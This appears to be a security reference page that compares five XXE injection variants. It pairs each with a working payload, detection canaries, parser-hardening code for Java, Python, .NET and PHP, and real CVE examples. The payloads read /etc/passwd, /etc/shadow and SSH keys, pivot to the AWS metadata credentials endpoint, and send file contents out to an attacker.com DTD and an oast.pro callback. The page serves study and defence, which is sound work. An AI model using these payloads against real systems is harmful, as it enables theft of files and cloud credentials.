XXE Overview — Attack Variants Compared

What is XXE and Why Are There Five Variant Classes?#

XML External Entity (XXE) injection is not a single attack technique but a class of vulnerabilities stemming from one root cause: XML parsers that resolve external resources — files, URLs, internal services — when processing attacker-controlled XML. The W3C XML specification includes several features that enable this: DOCTYPE external entities, parameter entities for complex DTD composition, and XInclude for document assembly. Each of these mechanisms can be abused independently, creating five distinct attack variants with different payloads, different prerequisites, and different parser settings required for prevention.

Understanding the differences matters because security teams often harden against one variant while leaving others fully active. The most common gap is disabling DOCTYPE-based entities while leaving XInclude processing enabled — CVE-2025-31200 (LibreOffice, CVSS 7.1) is the canonical real-world example. A second gap is hardening direct XML API endpoints while leaving file upload processors (accepting SVG, docx, xlsx) uninspected.

XXE appears in OWASP A05:2021 (Security Misconfiguration) because every instance is a parser that was shipped or deployed with unsafe defaults and never hardened. It is not a logic vulnerability — the parser is doing exactly what the specification allows. The fix is configuration, not application code changes.

Mechanism#

The common thread across all variants: the XML parser makes a network or filesystem request initiated by attacker-controlled content. Prevention requires eliminating the parser's ability to make these requests, not filtering the content of requests.

Variant Comparison Matrix#

Parser Behavior Matrix#

Different XML parsers have different defaults and different configuration APIs. Understanding parser-specific behavior is critical for both attack (knowing which parsers are vulnerable) and defense (knowing what to configure).

Classic File Disclosure#

The simplest variant. The attacker controls a full XML document with DOCTYPE and injects a general external entity pointing to a local file:

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

The server reflects entity content in the HTTP response. Requires in-band reflection — if the application processes the XML internally without returning entity values, this variant fails and Blind OOB must be used instead.

High-value targets beyond /etc/passwd: /proc/self/environ (runtime environment variables), /proc/self/cmdline (application startup command), application config files (/app/.env, config.yml, database.yml), SSH private keys (/root/.ssh/id_rsa).

See Classic File Disclosure for full payload library and detection evidence examples.

SSRF via XXE#

Replace the file:// URI with an http:// URI to pivot from XXE to Server-Side Request Forgery:

<!DOCTYPE foo [
  <!ENTITY ssrf SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-role">
]>
<root>&ssrf;</root>

The XML parser makes an HTTP GET request to the target URL and substitutes the response as the entity value. AWS IMDSv1 (no token required) is the canonical target. IMDSv2 requires a PUT request with X-aws-ec2-metadata-token-ttl-seconds header first — XXE general entities cannot send custom headers, so IMDSv2 provides partial mitigation. GCP's metadata.google.internal requires a Metadata-Flavor: Google header, similarly resistant to standard XXE SSRF.

CVE-2024-36522 (SAP BusinessObjects, CVSS 9.4) used XXE SSRF to traverse the internal network and reach administrative interfaces not exposed externally.

See SSRF via XXE for internal network scanning techniques and IMDSv2 bypass research.

Blind OOB XXE#

The most prevalent variant in modern applications. The server parses XML and resolves entities, but the entity value is never returned in the HTTP response. Exploitation requires a two-stage parameter entity chain and attacker-controlled callback infrastructure:

<!-- Stage 1: payload delivered to target -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % sp SYSTEM "http://attacker.com/exfil.dtd">
  %sp;
  %param1;
]>
<root/>

<!-- exfil.dtd hosted on attacker.com -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % param1 "<!ENTITY &#x25; exfil SYSTEM 'http://UNIQUE.oast.pro/?d=%file;'>">
%exfil;

The target server fetches exfil.dtd, reads /etc/passwd, and makes an HTTP request to the attacker's Interactsh server carrying the file contents as a URL parameter. The HTTP response from the target contains no entity content.

CVE-2024-22024 (Ivanti Connect Secure, CVSS 8.3) — blind OOB in SAML AuthnRequest processing — was exploited against production VPN concentrators before a patch was available.

See Blind OOB for DNS exfiltration, FTP exfiltration (Java/Xerces WAF bypass), and error-based alternatives when egress is blocked.

XInclude Injection#

XInclude injection bypasses DOCTYPE-based defenses entirely. Instead of DTD entity syntax, it uses W3C XInclude elements in the XML body — no DOCTYPE declaration is needed:

<root xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include parse="text" href="file:///etc/passwd"/>
</root>

This applies when an attacker can inject XML content into a body position (element content, request parameter) but cannot control the document's DOCTYPE. It also applies when the application explicitly blocks DOCTYPE but processes XInclude — a common defense gap.

In Java JAXP, disallow-doctype-decl=true does not disable XInclude. setXIncludeAware(false) is a separate, independent setting that must be explicitly configured. CVE-2025-31200 (LibreOffice ODT, CVSS 7.1) is the cleanest published proof of this gap: DOCTYPE XXE was blocked; XInclude was not.

See XInclude Injection for xi:fallback enumeration technique and per-parser configuration details.

DTD Upload XXE#

File upload endpoints that accept XML-based formats (SVG, docx, xlsx, ODT, WSDL) are an often-missed XXE surface. These formats are ZIP archives (docx/xlsx/ODT) or plain XML files (SVG/WSDL) containing DOCTYPE declarations:

<!-- Malicious SVG — submitted as an avatar/image upload -->
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/shadow"> ]>
<svg width="500px" height="100px" xmlns="http://www.w3.org/2000/svg">
  <text font-size="16">&xxe;</text>
</svg>

When the server processes the uploaded file (thumbnail generation, document conversion, metadata extraction, virus scanning via Apache Tika), the embedded DOCTYPE entity is resolved. The disclosed content may appear in the HTTP response, in a generated thumbnail, in server logs, or only via OOB callback.

CVE-2025-66516 (Apache Tika, CVSS 10.0) — document ingestion pipelines using Tika for content extraction triggered XXE via PDF-embedded XFA forms and XML documents.

See DTD Upload for docx/xlsx manipulation techniques and Tika-specific payloads.

Detection Canary#

A single probe with an Interactsh token can detect all XXE variants simultaneously when submitted to both XML API endpoints and file upload endpoints:

Canary payload for XML API:

<?xml version="1.0"?>
<!DOCTYPE x [
  <!ENTITY % sp SYSTEM "http://YOUR-TOKEN.oast.pro/xxe-api-probe">
  %sp;
]>
<root/>

Canary SVG for file upload:

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [
  <!ENTITY % sp SYSTEM "http://YOUR-TOKEN.oast.pro/xxe-upload-probe">
  %sp;
]>
<svg xmlns="http://www.w3.org/2000/svg" width="1" height="1"/>

XInclude canary (run after DOCTYPE probe returns 400):

<root xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include parse="text" href="http://YOUR-TOKEN.oast.pro/xinclude-probe"/>
</root>

Monitor Interactsh for DNS and HTTP callbacks. A DNS-only callback is POTENTIAL (confidence 0.30); an HTTP callback is CONFIRMED (confidence 0.75+); an HTTP callback with file content in URL parameters is CONFIRMED HIGH (0.98).

Prevention Summary#

Prevention requires hardening each parser independently. The universal principle: disable external entity resolution and XInclude processing before accepting attacker-controlled XML.

// Java JAXP — covers classic XXE + SSRF + blind OOB + DTD upload
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setXIncludeAware(false);  // SEPARATE flag — prevents XInclude injection
dbf.setExpandEntityReferences(false);

# Python — defusedxml for ElementTree; lxml requires explicit config
from defusedxml import ElementTree as ET
tree = ET.fromstring(xml_input)  # safe by default
 
# lxml — must configure explicitly
from lxml import etree
parser = etree.XMLParser(resolve_entities=False, no_network=True, load_dtd=False)
tree = etree.fromstring(xml_bytes, parser=parser)
# Never call tree.xinclude() on untrusted content

// .NET — XmlResolver = null prevents all external fetch
var settings = new XmlReaderSettings {
    DtdProcessing = DtdProcessing.Prohibit,
    XmlResolver = null
};
using var reader = XmlReader.Create(stream, settings);

<?php
// PHP 8.0+ — null loader blocks all external entity resolution
libxml_set_external_entity_loader(null);
$doc = new DOMDocument();
$doc->loadXML($xml);

Real-World Examples#

CVE-2025-66516 — Apache Tika (CVSS 10.0, 2025)

Apache Tika's document content extraction, used in enterprise search platforms, AI RAG pipelines, and document management systems, triggered XXE via XFA-embedded XML in PDF documents and via XInclude in certain document types. Unauthenticated document uploads are common in these systems. The CVSS 10.0 score reflects the broad deployment surface — Tika is a transitive dependency in thousands of Java applications.

CVE-2024-22024 — Ivanti Connect Secure (CVSS 8.3, 2024)

Ivanti's SAML endpoint processed XML AuthnRequests with blind OOB XXE capability. The server made outbound HTTP requests when resolving parameter entities in attacker-crafted SAML assertions. Combined with CVE-2023-46805 (authentication bypass), attackers achieved unauthenticated blind OOB XXE against production VPN concentrators globally. This CVE appeared in CISA KEV and was exploited in the wild before patching.

CVE-2025-31200 — LibreOffice XInclude (CVSS 7.1, 2025)

The canonical defense-gap example. LibreOffice had blocked DOCTYPE-based XXE in ODT processing. The XInclude code path was left enabled. Malicious ODT files with xi:include elements disclosed files when documents were opened or processed by automated conversion services. Patched in LibreOffice 25.2.3.

Resources#

• PortSwigger XXE Learning Path
• OWASP XXE Prevention Cheat Sheet
• CVE-2025-66516 NVD Entry
• CVE-2024-22024 NVD Entry
• CVE-2025-31200 NVD Entry
• Interactsh OAST Server